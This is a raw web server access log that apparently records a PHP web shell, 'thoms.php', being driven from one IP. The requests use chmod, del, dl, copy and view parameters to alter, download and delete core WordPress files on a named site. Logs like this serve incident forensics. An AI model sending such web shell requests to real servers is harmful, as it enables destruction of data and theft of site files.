45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?chmod=cron.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:19 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57899 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 200 19930 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 200 12129 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?dl=class-wpdb.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 200 12088 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?del=class-phpass.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fjson-schema.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fjson-schema.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:20 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 200 14719 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 200 11980 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 200 14555 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fload.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fload.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?dl=compat-utf8.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ferror_log&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ferror_log&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:21 -0400] "GET /thoms.php?del=class-wp-term.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 200 21575 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?del=post.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57906 "http://163.245.207.76:443/thoms.php?del=post.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?dl=view-config.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 200 19031 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcron.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcron.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 200 12180 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:23 -0400] "GET /thoms.php?chmod=build&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=build&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:22 -0400] "GET /thoms.php?del=class.wp-styles.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:23 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:23 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 200 13006 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:23 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57940 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:23 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:23 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:23 -0400] "GET /thoms.php?dl=class-wp-matchesmapregex.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-matchesmapregex.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:23 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:24 -0400] "GET /thoms.php?chmod=feed-atom.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=feed-atom.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:24 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57926 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:24 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:24 -0400] "GET /thoms.php?dl=json-schema.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:24 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57907 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:24 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:24 -0400] "GET /thoms.php?dl=default-constants.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:25 -0400] "GET /thoms.php?del=plugin.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 200 19813 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:25 -0400] "GET /thoms.php?dl=query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:25 -0400] "GET /thoms.php?chmod=style-engine&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:25 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 200 13063 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:25 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:25 -0400] "GET /thoms.php?dl=class-avif-info.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 200 15854 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:25 -0400] "GET /thoms.php?del=ms-default-filters.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:26 -0400] "GET /thoms.php?dl=theme.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Flink-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Flink-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:26 -0400] "GET /thoms.php?del=comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57932 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:26 -0400] "GET /thoms.php?chmod=class-wp-oembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-oembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 200 54404 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:26 -0400] "GET /thoms.php?del=option.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=option.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?chmod=pomo&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2FRequests HTTP/1.1" 200 12759 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2FRequests" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 200 12735 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?chmod=comment.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 200 13488 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
